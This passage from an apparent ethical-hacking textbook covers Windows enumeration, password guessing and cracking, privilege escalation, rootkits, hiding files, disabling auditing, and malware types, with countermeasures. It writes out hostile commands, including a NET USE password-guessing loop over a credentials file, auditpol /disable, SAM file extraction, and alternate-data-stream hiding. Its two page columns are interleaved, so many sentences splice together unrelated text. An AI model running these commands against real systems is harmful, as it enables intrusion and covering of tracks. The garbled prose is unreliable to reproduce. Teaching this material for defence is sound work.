logon to the system, using various tools that will try different username and
ix. SMBBF is a SMB brute-force tool that tries to determine user accounts password combinations. Common attacks against computers have shown
and accounts with blank passwords. that attackers will typically gain access to the system, install FTP servers, IRC
bots, and DDOS tools, then copy the illegal (copyrighted and pirated) software
up for distribution.
Null Sessions
A null session occurs when you log in to a system with no username or pass-
word. Once a hacker has made a NetBIOS connection using a null session to How to Disable NetBIOS NULL Sessions?
a system, they can easily get a full dump of all usernames, groups, shares, Disabling NULL session on your Windows PC can keep you from getting in-
permissions, policies, services and more using the Null user account. fected. To implement this countermeasure, perform the following steps:
You can establish a Null Session with a Windows (NT/2000/XP) host by log-
ging on with a null user name and password. Using these null connections
allows you to gather the following information from the host: 1. Open the properties of the network connection.
2. Click TCP/IP and then the Properties button.
List of users and groups
3. Click the Advanced button.
List of machines 4. On the WINS tab, select disable NetBIOS over TCP/IP.
List of shares
76 | www.iqspl.com www.iqspl.com | 77
A. Windows XP Home Edition SNMP Enumeration
Note: This also works in Windows 2000, XP, 7, 8, 8.1 and 10 Simple Network Management Protocol (SNMP) is a TCP/IP standard protocol
that is used for remote monitoring, managing hosts, routers, and devices on
1. Open regedit.exe from run Set the Following Registry Key: a network. SNMP works through a system of agents and nodes. Gathering in-
formation about hosts, routers, devices etc. with the help of SNMP is known
2. Choose Edit _ Add Value. Enter these values:
as SNMP enumeration.
HKLM/System/CurrentControlSet/Control/LSA/Restrict Anony-
The names of the default community strings are public and private, which are
mous=2
transmitted in clear text. Default community strings are advantageous to a hack-
Value name: Restrict Anonymous er, as they provide more than enough information needed to launch an attack.
Data Type: REG_WORD
SNMP enumeration is the process of using SNMP to enumerate user accounts
Value: 2 on a target system. The Simple Network Management Protocol is used to man-
3. Reboot to make the changes take effect. age and monitor hardware devices connected to a network.
78 | www.iqspl.com www.iqspl.com | 79
Syntax: Sniffing
nslookup ls -d <domainname> A sniffer can be a packet-capturing or frame-capturing tool. It intercepts traf-
fic on the network and displays it in either a command-line or GUI format for
A lot of interesting network information can be enumerated with nslookup,
a hacker to view. Some sophisticated sniffers interpret the packets and can
such as:
reassemble the packet stream into the original data, such as e-mail or a docu-
Global catalog service ment. Sniffers are used to capture traffic sent between two systems. Depend-
ing on how the sniffer is used and the security measures in place, a hacker
Domain controllers can use a sniffer to discover usernames, passwords and other confidential
information transmitted on the network. Several hacking attacks and various
hacking tools require the use of a sniffer to obtain important information sent
In addition to nslookup, several third-party tools are available to assist in from the target system.
executing a DNS zone transfer:
Types of Sniffing
Enum
Passive Sniffing
UserInfo
Passive sniffing involves listening and capturing traffic and is useful in a net-
work connected by hubs. In networks that use hubs or wireless media to con-
DNS Zone Transfer Countermeasures nect systems, all hosts on the network can see all traffic; therefore a passive
packet sniffer can capture traffic going to and from all hosts connected via
DNS zone transfers are a necessary element of DNS and cannot be turned off the hub.
completely. If your infrastructure doesnt require DNS zone transfers, howev-
er, you can easily block zone transfers using the DNS property sheet:
1. Open DNS. Active Sniffing
2. Right-click a DNS zone and click Properties. Active sniffing involves launching an Address Resolution Protocol (ARP) spoof-
3. On the Zone Transfers tab, clear the Allow zone transfers check box. ing or traffic-flooding attack against a switch in order to capture traffic. A
switched network operates differently. The switch looks at the data sent to
it and tries to forward packets to their intended recipients based on MAC
DNS zone transfers should only be allowed between DNS servers and clients address. The switch maintains a MAC table of all the systems and the port
that actually need it. Other steps to take are: numbers to which theyre connected. This enables the switch to segment the
network traffic and send traffic only to the correct destination MAC addresses.
80 | www.iqspl.com www.iqspl.com | 81
Password Guessing
Sniffing Countermeasures Guessing passwords is one of the first steps to owing the box. While password
guessing seems as though it might be a fruitless task, its often successful
The best security defence against a sniffer on the network is encryption. Al-
because most users like to employ easy-to-remember passwords. Also, if any
though encryption wont prevent sniffing, it renders any data captured during
information about the user is available, like family names or hobbies, you
the sniffing attack useless because the hacker cant interpret the information.
might have a clue to the password. The most common passwords are pass-
Encryption such as AES and RC4 or RC5 can be utilized in VPN technologies
word, root, administrator, admin, operator, demo, test, Webmaster, backup,
and is a common method to prevent sniffing on a network.
guest, trial, member, private, beta, etc.
Tools such as can be used to protect network against sniffing
After finding that the NetBIOS TCP 139 port is open and accessible, a very
WinTCPKill effective method of hackers for breaking into Windows is by guessing the
Sniffdet password. A good place to start would be to create the IPC$ null session or to
attempt to connect to a default enumerated share like Admin$, C$, or %Sys-
netINTERCEPTOR temdrive% and try a username/password combination. Other accounts that
are good candidates for hacking are accounts that have never been used or
logged in to or havent had the password changed in a while. Once an account
System Hacking is identified, the attacker can issue the NET USE command, like this:
The system hacking cycle consists of six steps. The first step -enumeration
was discussed in the previous section. This section now covers the five re-
maining steps: net use * \\target_IP\share * /u:name
This will initiate a prompt for a password, such as:
c:\net use * \\10.1.1.13\c$ * /u:John
Cracking passwords
Type the password for \\10.1.1.13\c$:
Escalating privileges
The command completely successfully
Executing applications
Hiding files
Covering tracks Automated Password Guessing
Since its rarely easy to guess passwords with one try, and the attacker needs
to hit as many accounts as possible, it is a good idea for him to automate the
Cracking passwords
password guessing process as much as possible. One way to do that is by
Many hacking attempts start with getting a password to a target system. creating a simple file that loops the guessing with NET USE.
Passwords are the key piece of information needed to access a system, and
Using the NT/2000 command shell, create a simple username and password
users often select passwords that are easy to guess. Many reuse passwords
text file called credentials.txt and then pipe this text file into a FOR command
or choose one thats simple such as a pets name to help them remember it.
like this:
Because of this human factor, most password guessing is successful if some
information is known about the target. Information gathering and reconnais- C:\> FOR /F token=1, 2* %i in (credentials.txt)
sance can help give away information that will help a hacker guess a users do net use \\target\IPC$ %i /u: %j
password. Once a password is guessed or cracked, it can be the launching
point for escalating privileges, executing applications, hiding files, and cov- You can save these two lines of code in a text file called finder.cmd. A draw-
ering tracks. If guessing a password fails, then passwords may be cracked back to this type of looping file is that the attacker could inadvertently create
manually or with automated tools such as a dictionary or brute-force method. a Denial of Service attack against the machine if a password lockout policy is
in effect. A lockout policy is a limit on the allowed number of user attempts to
enter a password, before the system freezes the account for a time.
Some automated password-guessing tools include:
82 | www.iqspl.com www.iqspl.com | 83
Legion Keystroke Loggers
NetBIOS Auditing Tool If all other attempts to sniff out domain privileges fail, then a keystroke logger
might be the solution. Keystroke loggers (or keyloggers) intercept the targets
keystrokes and either save them in a file to be read later or transmit them to
Password Sniffing
a predetermined destination accessible to the hacker.
Password sniffing is often a preferred tactic to guessing. Its a lot less work to
There are two types of keystroke loggers: hardware devices and software pro-
sniff credentials off the wire as users log in to a server than to guess them.
grams.
Once sniffed, simply replay the passwords to gain access. Since most network
traffic is unencrypted, sniffing may yield a lot of info; however, it requires that Although keyloggers are sometimes used in the payloads of viruses, they are
you have physical or logical access to the wire segment or resource. more commonly delivered by a Trojan-horse program or remote administra-
tion (RAT).
L0phtcrack
KerbCrack Hardware Keyloggers
ScoopLM Some hardware keystroke loggers consist of a small AA battery-sized plug
Dsniff that connects between the victims keyboard and computer. The device col-
lects each keystroke as it is typed and saves it as a text file on its own tiny
Ethereal
hard drive. Later, the keystroke logger owner returns, removes the device, and
Sniffit downloads and reads the keystroke information. These devices have memory
TCPDump capacities between 8KB and 2MB, which, according to manufacturers claims,
WinDump is enough memory to capture a years worth of typing.
Two other methods for getting passwords are
Dumpster diving Software Key loggers
Shoulder surfing A software keystroke logger program does not require physical access to the
Dumpster diving describes the acquisition of information that is discarded by users computer. It can be installed intentionally by someone who wants to
an individual or organization. In many cases, information found in trash can monitor activity on a particular computer or downloaded unwittingly as spy-
be very valuable to a hacker and could lead to password clues. Post-it notes ware and executed as part of a rootkit or a Remote Access Trojan (RAT). The
are rarely shredded and often contain passwords and logons. Other discarded software keylogger normally consists of two files: a DLL that does the entire
information may include technical manuals, password lists, telephone num- recording and an EXE that installs the DLL and sets the activation trigger.
bers, and organization charts. The two files must be present in the same directory. Then the keystroke logger
program records each keystroke the user types and uploads the information
Shoulder surfing is the oldest, lowest-tech way to troll for passwords. Its sim- over the Internet periodically to the installer.
ply standing behind someone and watching them type their password, then
trying to duplicate the keystrokes later. Its a commonly used way to gain
entry to button-coded doors and can still be used if the attacker has physical
Keylogging Tools
access to the target machine, most likely a co-workers. Its obviously not an
option for remote password guessing. There are a lot of software keyloggers. Several of them are free. Although
not technically keyloggers, products like Spector (www.spector.com) au-
tomatically take hundreds of screen shots every hour. Spector works
by taking a snapshot of whatever is on the targets computer screen and
stores in a hidden location on the targets hard drive, to be retrieved later.
84 | www.iqspl.com www.iqspl.com | 85
LM is not case sensitive: All alphabetic characters are converted to up-
percase. This effectively reduces the number of different combinations
Other software keyloggers include: a password cracker has to try.
ISpyNow. www.ispynow.com
All LM passwords are stored as two 7-character hashes. Passwords that
Invisible Keylogger. www.invisiblekeylogger.com are exactly 14 characters long will be split into two 7-character hashes.
PC Activity Monitor. www.keylogger.org Passwords with fewer than 14 characters will be padded up to 14 char-
acters.
Privilege Escalation Owing to the mathematics of password cracking, two 7-character hashes are
significantly easier to crack than one 14-character hash. To see why this is,
Very often, the attacker will not be able to snag the Administrator account and lets step through an example. Lets use the password 123456qwerty:
password, and will have to settle for access to the network using a non-admin
user account, like Guest. This means that the next step the attacker will proba-
bly take is to try to elevate his or her network privilege to that of an administra- 1. When this password is hashed with LM algorithm, it is first converted
tor, to gain full control of the system. This is called privilege escalation. This is to all uppercase: 123456QWERTY.
not easy, as privilege escalation tools must usually be executed physically from
a target machine on the network, although some of the tools listed in this sec- 2. The password is padded with null (blank) characters to make it 14-char-
tion allow remote privilege escalation. Most often, these tools require the hacker acter length: 123456QWERTY__.
to have access to that machine or server. One big problem with privilege escala-
3. Before hashing this password, the 14-character string is split into
tion tools is that the operating systems are continually patched to prevent these
halves: 123456Q and WERTY__.
tools from working. This means the attacker will need to know the OS of the
system on which he or she is trying to install the tool, and he or she will need 4. Each string is individually hashed and the results are concatenated:
to have a variety of tools to match to the OS. For example, GetAdmin.exe is a
small program that adds a user to the local administrators group. To use Ge- 123456Q = 6BF11E04AFAB197F
tAdmin, the attacker must logon to the server console to execute the program, WERTY__ = F1E9FFDCC75575B15 5.
as its run from the command line or from a browser and works only with NT
4.0 Service Pack 3. Another NT tool, hk.exe, exposes a Local Procedure Call flaw
in NT, allowing a non-admin user to be escalated to the administrators group.
The resulting hash is 6BF11E04AFAB197FF1E9FFDCC75575B15. The first
Privilege Escalation Tools half of the hash contains alphanumeric characters and could take L0phtcrack
several hours to crack, but the second half will take only about 60 seconds.
TOOL OS In contrast, NTLM authentication takes advantage of all 14 characters in the
pipeupadmin Windows 2000 password and allows lowercase letters. Thus, even though an attacker eaves-
billybastard Windows Server 2003, dropping on the Windows NT authentication protocol can attack it in the same
way as the LM authentication protocol, it will take far longer for the attack to
Windows XP getad Windows XP
succeed. If the password is strong enough, it will take a single 200 MHz Penti-
um Pro computer an average of 2,200 years to find the keys derived from it and
5,500 years to find the password itself (or 2.2 years and 5.5 years with 1,000
Password Cracking
such computers and so forth). WinNT Challenge/Response NTLMv2 has since
Passwords are generally stored and transmitted in an encrypted form called replaced the LM hash. For NTLMv2, the key space for password-derived keys
a hash. When a user logs on to a system and enters a password, a hash is is 128 bits. This makes a brute force search infeasible, even with hardware ac-
generated and compared to a stored hash. If the entered and the stored hash- celerators, if the password is strong enough. If both client and server are using
es match, the user is authenticated. Prior to Windows NT 4.0 SP4, Windows SP4, the enhanced NTLMv2 session security is negotiated. It provides separate
NT supported two kinds of challenge/response authentication, LanManager keys for message integrity and confidentiality and client input into the chal-
(LM) challenge/response, and Windows NT challenge/response (also known lenge to prevent chosen plain text attacks and makes use of the HMAC-MD5
as NTLM challenge/response). Versions of Windows prior to Windows 2000 algorithm for message integrity checking. In Windows 2000 Service Pack 2 and
use LM password hashes, which have several weaknesses: in later versions of Windows, a setting is available that lets a user prevent Win-
dows from storing a LAN Manager hash of the password.
86 | www.iqspl.com www.iqspl.com | 87
Hybrid Attack
Password Cracking Techniques Another method of cracking is called a hybrid attack, which builds on the
dictionary method by adding numeric and symbolic characters to dictionary
Automated password crackers employ one or combination of three types of
words. Depending on the password cracker being used, this type of attack will
password attacks:
try a number of variations. The attack tries common substitutes of characters
Dictionary attack and numbers for letters (e.g. p@ssword and h4ckme). Some will also try add-
Brute force attack ing characters and numbers to the beginning and end of dictionary words (for
example, password99, password$% and so on).
Hybrid attack
Stealing SAM
The SAM file in Windows NT/2000 contains the usernames and encrypted
passwords in their hash form; therefore, accessing the SAM will give the at-
tacker potential access to all of the passwords. The SAM file can be obtained
The fastest method for generating hashes is a dictionary attack, which uses from the %systemroot%\system32\config directory, but the file is locked
all words in a dictionary or text file. There are many dictionaries available on when the OS is running so the attacker will need to boot the server to an al-
the Internet that covers most major and minor languages, names, popular ternate OS. This can be done with NTFSDOS (www.sysinternals.com), which
television shows and so on. Any dictionary word is a weak password and can will mount any NTFS partition as a logical drive.
be cracked quickly. Most cracking tools will include their own dictionaries
Another way to get the SAM is to copy from either the servers repair directory
with the utility or suggest links to find dictionaries to build your own. A spe-
or the physical ERdisk itself. Whenever rdisk /s is run, a compressed copy of
cific example of this approach is the LC5 password auditing and recovery tool,
the SAM called SAM._ is created in %systemroot%\repair. Expand this file us-
which performs the encrypted file comparison against a dictionary of over
ing c:\>expand sam._sam. Starting with WinNT SP3, Microsoft added a sec-
250,000 possible passwords.
ond layer of 128-bit encryption to the password hash called SYSKEY. Newer
versions of Windows place a backup copy in C:\winnt\repair\regnabk\sam
and employ SYSKEY to make the cracking harder.
Brute Force Attack
The most powerful password-cracking method is called the brute force meth-
od. Brute force randomly generates passwords and their associated hashes.
Brute force password guessing is just what it sounds like: trying a random ap-
proach by attempting different passwords and hoping that one works. Some
logic can be applied by trying passwords related to the persons name, job
title, hobbies or other similar items. Since there are so many possibilities, it
can take months to crack a password. Theoretically, all passwords are crack-
able from a brute force attack given enough time and processing power. Pene-
tration testers and attackers often have multiple machines to which they can
spread the task of cracking a password. Multiple processors greatly shorten
the length of time required to crack strong passwords.
88 | www.iqspl.com www.iqspl.com | 89
Cracking Tools File Hiding
Once the hashes have been extracted from the SAM, an automated password Attackers use different methods to hide files on compromised servers. There
cracker like L0phtCrack LC5 or cain and able can crack them. are two ways of hiding files in Windows NT and Windows 2000:
Some other common password cracking tools are: Use the attrib command: attrib +h [file/directory]
Brutus Use NTFS Alternate Data Streaming (ADS)
WebCracker The NTFS file system used by Windows NT, 2000, and XP has a feature called
Alternate Data Streams (ADS) that was originally developed to provide com-
ObiWan
patibility with non-Windows file systems, like Macintosh Hierarchical File
Crack 5 System (HFS); but ADS can also allow data to be stored in hidden files that
Two cracking tools that use and Rainbow Tables are RainbowCrack and are linked to a regular visible file. These streams are not limited in size and
Ophcrack there can be more than one stream linked to the visible file.
This allows an attacker to hide his or her tools on the compromised system
Maintaining Access and retrieve them later. To see how creating an alternate data stream works:
Before the attacker leaves the system, he or she wants to make sure he or
she can have access to the box later. One way to do this and cover his or her 1. From the command line, type Notepad temp.txt.
tracks at the same time is to install a rootkit on the compromised system. A
2. Put some data in the test.txt file; save the file and close Notepad.
rootkit is a collection of software tools that a cracker uses to obtain adminis-
trator-level access to a computer or computer network. 3. From the command line, type dir temp.txt, and note the file size.
4. Go to the command line and type Notepad temp.txt:hidden.txt.
5. Type some text into Notepad; save the file, and close it.
Planting Rootkits
6. Check the file size again and check that it hasnt changed.
The intruder installs a rootkit on a computer after first obtaining user-level
7. If you open temp.txt, you see your original data and nothing else.
access, either by exploiting a known vulnerability or cracking a password. The
rootkit then collects user IDs and passwords to other machines on the net- 8. If you use the type command on the filename from the command line, you
work, thus giving the hacker root or privileged access. The rootkit NTrootkit still get the original data.
consists of utilities that also monitor traffic and keystrokes, create a backdoor 9. If you go to the command line and type temp.txt:hidden.txt, you get an error.
into the system for the hackers use, alter log files, attack other machines on
the network and alter existing system tools to circumvent detection. NTrootkit
can also: Some third-party tools are available to create Alternate Data Streams. The
ADS creation and detection tool makestrm.exe moves the physical contents of
a file to its stream. The utility ads_cat from Packet Storm is a utility for writing
Hide processes (that is, keep them from being listed) ADS that includes ads_extract, ads_cp, and ads_rm, utilities to read, copy,
Hide files and remove data from NTFS alternate file streams.
90 | www.iqspl.com www.iqspl.com | 91
Disabling Auditing There are several steps to prevent or find Alternate Data Streams on your
system. To remove ADS manually, copy the front file to a FAT partition; then,
The first thing a hacker will do after gaining Administrator privileges is dis-
copy it back to NTFS. Streams are lost when the file is moved to FAT Partition.
able auditing.
Employ file integrity checkers to look for ADS and rootkits.
Auditpol is a tool included in the Windows NT Resource Kit for system ad-
ministrators. This tool can disable or enable auditing from the Windows com-
mand line. It can also be used to determine the level of logging implemented Some tools include:
by a system administrator.
AIDE (Advanced Intrusion Detection Environment)
c:\auditpol \\10.1.1.13 /disable
LANguard File Integrity Checker
(0) Audit Disabled
Tripwire
After compromising the system, the last thing a hacker will do is turn on au-
diting again using auditpol: Sfind
Clearing the Event Log Wipe everything clean and reinstall the OS and applications from a
trusted source.
Hackers can also easily wipe out the logs in the event viewer. The hacker will
also try to wipe the event log by executing tools like: Dont rely on backups; you could be restoring from Trojaned software.
Elsave Keep a well documented automated installation procedure.
Evidence Eliminator
Keep trusted restoration media readily available.
Winzapper
92 | www.iqspl.com www.iqspl.com | 93
into the building. The next day, the hacker carries a large cardboard box to-
ward the door just as the Federal Express driver has been given entry to the
Chapter 5.
building. The driver naturally holds the door for the hacker because he is
carrying what appears to be a heavy, large box. They exchange pleasantries Malwares
and the hacker heads for the elevator up to Medical Associates offices. The
hacker leaves the box in the hallway of the building as he heads to his target
office. Once he reaches the front desk of the Medical Associates office, he asks Objectives
to speak with the office manager whose name he previously looked up on the Trojans and Backdoors
company website. The receptionist leaves her desk to go get the office man-
ager and the hacker reaches over the desk and plugs a USB drive containing Viruses and Worms
hacking tools into the back of her computer. Because the computer is not Spywares
locked with a password, he double-clicks on the USB drive icon and it silently Adware
installs the hacking software on the receptionists computer. He removes the
Ransom wares
USB drive and quickly exits the office suite and building undetected. This is
an example of how reconnaissance and understanding the pattern of peoples Bots
behaviour can enable a hacker to gain physical access to a target. Botnet
Bombs
Introduction
Trojans and backdoors are two ways a hacker can gain access to a target
system. They come in many different varieties, but they all have one thing in
common:
They must be installed by another program, or
The user must be tricked into installing the Trojan or backdoor on his/
her system.
Trojans and backdoors are potentially harmful tools in the ethical hackers
toolkit and should be used judiciously to test the security of a system or net-
work. While Trojans and backdoors are not easily detectable by themselves,
computers may appear to run slower due to heavy processor or network us-
age. Viruses and worms can be just as destructive to systems and networks
as Trojans and backdoors. In fact, many viruses carry Trojan executables
and can infect a system, then create a backdoor for hackers.
Apart from these, other types include spyware, adware, ransomware, Bots,
Botnets, and Logical Bombs etc. All of these types of malicious code or mal-
ware are important to ethical hackers because they are commonly used by
hackers to attack and compromise systems.
94 | www.iqspl.com www.iqspl.com | 95
Trojans and Backdoors Many fake programs purporting to be legitimate software such as freeware,
spyware removal tools, system optimizers, screensavers, music, pictures,
Trojans and backdoors are types of malware used to infect and compromise
games, and videos can install a Trojan on a system just by being downloaded.
computer systems. A Trojan is a malicious program disguised as something
benign. Advertisements on Internet sites for free programs, music files, or video files
lure a victim into installing the Trojan program; the program then has sys-
In many cases the Trojan appears to perform a desirable function for the user
tem-level access on the target system, where it can be destructive and harm-
but actually allows a hacker access to the users computer system.
ful.
The term is derived from the Ancient Greek story of the wooden horse.
Common Trojan programs
---------------------------------------------------------------------------
Trojan Protocol Port
--------------------------------------------------------------
BackOrifice UDP 31337 or 31338
Deep Throat UDP 2140 and 3150
96 | www.iqspl.com www.iqspl.com | 97
Overt and Covert Channels
An overt channel is the normal and legitimate way that programs communi-
cate within a computer system or network. A covert channel uses programs
or communications paths in ways that were not intended.
Trojans can use covert channels to communicate. Some client Trojans use
covert channels to send instructions to the server component on the com-
promised system. This sometimes makes Trojan communication difficult to
decipher and understand. An unsuspecting intrusion detection system (IDS)
sniffing the transmission between the Trojan client and server would not flag
it as anything unusual. By using the covert channel, the Trojan can commu-
nicate or phone home undetected and the hacker can send commands to
the client component undetected.
Some covert channels rely on a technique called tunnelling, which lets one
Before the installation of a backdoor, a hacker must investigate the system protocol be carried over another protocol. Internet Control Message Protocol
to find services that are running. Again the use of good information-gather- (ICMP) tunnelling is a method of using ICMP echo-request and echo-reply to
ing techniques is critical to knowing what services or programs are already carry any payload an attacker may wish to use, in an attempt to stealthily
running on the target system. In most cases the hacker installs the backdoor, access or control a compromised system. The ping command is a generally
which adds a new service and gives it an inconspicuous name or, better yet, accepted troubleshooting tool, and it uses the ICMP protocol. For that reason,
chooses a service thats never used and that is either activated manually or many router, switches, firewalls, and other packet filtering devices allow the
completely disabled. ICMP protocol to be passed through the device. Therefore, ICMP is an excel-
lent choice of tunnelling protocols.
This technique is effective because when a hacking attempt occurs the system
administrator usually focuses on looking for something odd in the system,
leaving all existing services unchecked. The backdoor technique is simple but Types of Trojans
efficient: the hacker can get back into the machine with the least amount of
visibility in the server logs. The backdoored service lets the hacker use higher Trojans can be created and used to perform different attacks. Here are some
privileges in most cases, as a System account. of the most common types of Trojans:
Remote Access Trojans (RATs) are a class of backdoors used to enable re- Remote Access Trojans (RATs) Used to gain remote access to a sys-
mote control over a compromised machine. They provide apparently useful tem.
functions to the user and, at the same time, open a network port on the
Data-Sending Trojans Used to find data on a system and deliver data
victim computer. Once the RAT is started, it behaves as an executable file,
to a hacker.
interacting with certain Registry keys responsible for starting processes and
sometimes creating its own system services. Unlike common backdoors, RATs Destructive Trojans Used to delete or corrupt files on a system.
hook themselves into the victim operating system and always come packaged
with two files: the client file and the server file. The server is installed in the Denial-of-Service Trojans Used to launch a denial-of-service attack.
infected machine, and the client is used by the intruder to control the com- Proxy Trojans Used to tunnel traffic or launch hacking attacks via oth-
promised system. RATs allow a hacker to take control of the target system at er systems.
any time. In fact one of the indications that a system has been exploited is
unusual behaviour on the system, such as the mouse is moving on its own or FTP Trojans Used to create an FTP server in order to copy files onto a
pop-up windows appearing on an idle system. system.
Security Software Disabler Trojans Used to stop antivirus software.
98 | www.iqspl.com www.iqspl.com | 99
Trojan and Backdoor Countermeasures itself. The virus code is injected into the previously benign program and is
spread when the program is run. Examples of virus carrier programs are
Most commercial antivirus programs have anti-Trojan capabilities as well as
macros, games, email attachments, Visual Basic scripts, and animations. A
spyware detection and removal functionality. These tools can automatically
worm is similar to a virus in many ways but does not need a carrier program.
scan hard drives on start up to detect Backdoor and Trojan programs before
A worm can self-replicate and move from infected host to another host. A
they can cause damage. Once a system is infected, its more difficult to clean,
worm spreads from system to system automatically, but a virus needs anoth-
but you can do so with commercially available tools.
er program in order to spread. Viruses and worms both execute without the
Example: Norton Internet Security includes a personal firewall, intrusion knowledge or desire of the end user.
detection system, antivirus, antispyware, antiphishing and email scanning.
Norton Internet Security will clean most Trojans from a system as well.
The Virus Lifecycle
The security software works by having known signatures of malware, such as
Trojans and viruses. The repair for the malware is made through the use of There are two main phases in the lifecycle of a virus:
definitions of the malware.
When installing and using any personal security software or antivirus and an-
Replication and Activation
ti-Trojan software, you must make sure that the software has all the current
definitions. To ensure the latest patches and fixes are available, you should In the first phase, replication, viruses typically remain hidden and do not in-
connect the system to the Internet so the software can continually update the terfere with normal system functions. During this time, viruses actively seek
malware definitions and fixes. Its important to use commercial applications out new hosts to infect by attaching themselves to other software programs or
to clean a system instead of freeware tools, because many freeware removal by infiltrating the OS.
tools can further infect the system.
During the second phase, activation, the gradual or sudden destruction of the
In addition, a lot of commercial security software includes an intrusion detec- system occurs. Typically, the decision to activate is based on a mathematical
tion component that will perform port monitoring and can identify ports that formula with criteria such as date, time, number of infected files or others.
have been opened or files that have changed. The possible damage at this stage could include destroyed data, software or
hardware conflicts, space consumption and abnormal behaviour.
The key to preventing Trojans and backdoors from being installed on a sys-
tem is to educate users not to install applications downloaded from the In-
ternet or open email attachments from parties they dont know. Many system
administrators dont give users the system permissions necessary to install Types of Viruses
programs on their system for that very reason. Proper use of Internet tech- Viruses are classified according to two factors: what they infect and how
nologies should be included in regular employee security awareness training. they infect.
System File Checker is another command line based tool used to check wheth- A virus can infect the following components of a system:
er a Trojan program has replaced files. If System File Checker detects that a
file has been overwritten, it retrieves a known good file from the Windows\ System sectors
system32\dllcache folder and overwrites the unverified file. Files
The command to run the System File Checker is sfc/scan now. Macros (such as Microsoft Word macros)
Companion files (supporting system files like DLL and INI files)
Disk clusters
Viruses and Worms
Batch files (BAT files)
Viruses and worms can be used to infect a system and modify a system to Source code
allow a hacker to gain access. Many viruses and worms carry Trojans and
backdoors. In this way, a virus or worm is a carrier and allows malicious code
such as Trojans and backdoors to be transferred from system to system much
in the way that contact between people allows germs to spread. A virus and a
worm are similar in that theyre both forms of malicious software (malware).
A virus infects another executable and uses this carrier program to spread
Macro viruses Modern office software can be controlled by small programs 2. Trace processes using utilities such as handle.exe, listdlls.exe, fport.exe,
known as scripts or macros, which are embedded in the files the applications netstat.exe, pslist.exe and map commonalities between affected systems.
use. Macro viruses are spread through these small scripts.
3. Detect the virus payload by looking for altered, replaced or deleted files.
New files, changed file attributes or shared library files should be checked.
File viruses A file virus is a virus that attaches itself to a program. File vi- 4. Acquire the infection vector and isolate it. Then, update your antivirus defi-
ruses do not infect other types of file, such as documents. When the infected nitions and rescan all systems.
program file is run, the virus part lodges itself in the computers memory and
subsequently may infect all programs run afterwards. Worms can be prevented from infecting systems in much the same way as
viruses. Worms can be more difficult to stop because they spread on their
HELLO! Welcome to http://www.worm.com! Hacked By Chinese! Spyware programs also sometimes spy on a broader scope of information than
standard adware. They may even log your every keystroke, allowing them to
After 20 to 27 days, infected machines would attempt to launch a denial of ser- capture usernames, passwords, account numbers, credit card numbers and
vice on many IP addresses, including the IP address of www.whitehouse.gov. every word you type in your e-mail program, among other things. This obvi-
ously crosses the line from simply monitoring your activity for demographic
Code Red and its successor, Code Red II, are known as two of the most expen- reasons to carrying out pure spying with malicious intent. Still, the majority of
sive worms in Internet history, with damages estimated at $2 billion and at a spyware consists of Web bugs and tracking cookies designed to track and mon-
rate of $200 million in damages per day. itor your activity just like adware, except without your knowledge or consent.
Adware
A bot, short for robot, is a type of software application or script that performs
tasks on command like indexing a search engine and they are really good at
performing repetitive tasks. Search engines use them to surf the web and me-
thodically catalogue information from websites, trading sites make them look
for the best bargains in seconds and some websites and services employ them
to deliver important information like weather conditions, news and sports,
currency exchange rates.
Unfortunately, not all bots roaming the internet are useful and harmless. Cy-
ber crooks have also noticed their potential and have come up with malicious
bots programs designed to secretly install themselves on unprotected or vul-
nerable computers and carry out whatever actions they demand. And that
could be anything from sending spam to participating in a distributed denial These computer owners unwittingly put everyone at risk, and most would be
of service attack (DDoS) that brings down entire websites. shocked to learn that the spam youre receiving is coming from thousands or
even millions of computers just like (and including) theirs. The real owners of
Bad bots perform malicious tasks allowing an attacker to take complete con- those computers can still use them, and they are probably unaware of any-
trol over an affected computer for the criminal to control remotely. Once in- thing being wrong except perhaps they think their computer seems slow at
fected, these machines may also be referred to as zombies. times.
Such networks comprising hundreds or thousands of infected devices have It only takes minutes for an unprotected, internet connected computer to be
the resources needed to perform high-scale malicious actions such as: infected with malicious software and turned into a bot, underscoring the crit-
ical need for every computer and smartphone user to have up-to-date security
software on all their devices.
Mass-spam delivery that floods millions of inboxes in a matter of seconds
Dont let your computer become a bot
DoS and DDoS attacksthat crash entire websites and can put legitimate
businesses in serious trouble If you have not installed security software and ensured that it is turned on
Brute-force hacking attacks by cracking passwords and other internet se- and kept up-to-date, your machine is likely infected with all kinds of malicious
curity measures software, including bots. The best protection is to set your anti-virus and an-
ti-spyware programs to automatically update, and to install every patch that
Identity theft and internet fraud by collecting private information from in-
fected users your operating system and browser make available.
Even the most up-to-date protection tools cannot protect you from everything;
there is still some risk because the developers of malware are always looking
for new ways to get around security measures and there is the risk of infection
because of actions you or another person who used the computer, take.
A common user risk comes through downloading content from unknown sites
OR from friends who dont have up-to-date protection. The intent may not be
malicious at all, but if content comes from an unprotected computer, it may
well be infected. By downloading the content you bring the malicious code
past your security checkpoints where they can try to clean the malware off
your machine, but they have no way of defending against it being downloaded
in the first place. Always use extreme caution when downloading information
or files from someone whose computer is not protected.
Logical Bombs are Viruses that are triggered when certain logical conditions Jeremiah Denton, a prisoner of war during the Vietnam War, used a covert
are met i.e. opening a file, booting your computer or accessing certain pro- channel to communicate without his captors knowledge. Denton was inter-
grams. viewed by a Japanese TV reporter, and eventually a videotape of the interview
made its way to the United States. As American intelligence agents viewed the
Time bombs will go off on a particular date or at a particular time and will
tape, one of them noticed Denton was blinking in an unusual manner. They
otherwise lie dormant. Often, time bombs are set to go off at some sort of an-
discovered he was blinking letters in Morse code. The letters were T-O-R-T-U-
niversary, for example the Chernobyl virus that is activated each year on 26
R-E, and Denton was blinking them over and over. This is a real-world exam-
April, the date of the Chernobyl nuclear disaster.
ple of how a covert channel can be used to send a communication message
Some viruses attack their host systems on specific dates, such as Friday the undetected.
13th or April Fools Day. Trojans that activate on certain dates are often called
Another example of using a computer to convey information via a covert chan-
time bombs.
nel is the use a characteristic of a file to deliver information rather that the
file itself. A computer based example of a covert channel is in the creation of
a seemingly innocent computer file 16 bytes in size. The file can contain any
Countermeasures data as that is not the important information. The file can then be emailed to
The keys to stopping malwares are to prevent their initial access to your com- another person. Again, it seems innocent enough but the real communication
puter (by using a firewall to block the ports that they use). is of the number 16. The file size is the important data, not the contents of
the file.
To detect and remove any existing Trojan horses and worms (using antivirus
and Trojan horse cleaning programs)
To stop using the programs most commonly exploited to spread them. Your
computer can still become a target of Trojan horses, viruses and worms no
matter what defences you install, but at least there will be less of a chance
that your computer will suffer any damage or contribute to the proliferation
of these threats.
Although a DoS attack does not usually result in the theft of information i. DoS attack: Simple denial-of-service attack where single system to
or other security loss, it can cost the target person or company a great a single target is involved
deal of time and money. Typically, the loss of service is the inability of a par-
